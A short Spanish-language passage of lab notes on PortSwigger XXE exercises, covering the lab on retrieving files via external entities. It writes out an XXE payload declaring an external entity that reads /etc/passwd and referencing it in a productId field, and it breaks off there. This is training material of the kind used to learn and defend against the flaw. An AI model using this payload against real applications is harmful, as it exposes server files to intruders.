PortSwigger - XXE

Labs de XXE hechos y explicados Lab: Exploiting XXE using external entities to retrieve files # Creamos una endidad la cual posteriormete referenciaremos: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> # La referenciamos <productId>...